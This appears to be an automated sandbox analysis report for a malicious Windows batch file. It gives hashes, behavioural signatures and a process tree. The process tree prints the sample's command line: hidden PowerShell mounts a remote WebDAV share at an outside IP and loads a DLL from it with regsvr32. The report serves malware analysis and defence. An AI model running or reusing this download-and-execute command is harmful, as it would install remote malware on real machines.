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Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    19/07/2024, 07:40

General

  • Target

    2548871112584911085.bat

  • Size

    16KB

  • MD5

    53a1764f4250fd1671d481fe6e28f395

  • SHA1

    a1466bd77d75acf0ac304e993d56fcfc5d38ecc1

  • SHA256

    79488aecf47e3d0722bd47a6a85042eec151c41a7dfe49e72796e5929bd565b6

  • SHA512

    74e0b7c85bd43502e5ed99d9b812f494d209afa919ab0cca43d9fcfce94c0fa4dccaeb0b21b3d8df432fa80ff025f042d463e35cf9035e444ade874ee76868f2

  • SSDEEP

    384:PsdWvDIvtS6/KLJoIJXgqQDmdF/0SR0WsK:PG4hLO6Xyydx7R0WsK

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\2548871112584911085.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2172
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2804
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\310113068128184.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2740
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2332
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\310113068128184.dll
          3⤵
            PID:2704

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2172-16-0x0000000002320000-0x0000000002420000-memory.dmp

        Filesize

        1024KB

      • memory/2172-17-0x0000000002320000-0x0000000002420000-memory.dmp

        Filesize

        1024KB

      • memory/2740-24-0x0000000002810000-0x0000000002818000-memory.dmp

        Filesize

        32KB

      • memory/2740-23-0x000000001B580000-0x000000001B862000-memory.dmp

        Filesize

        2.9MB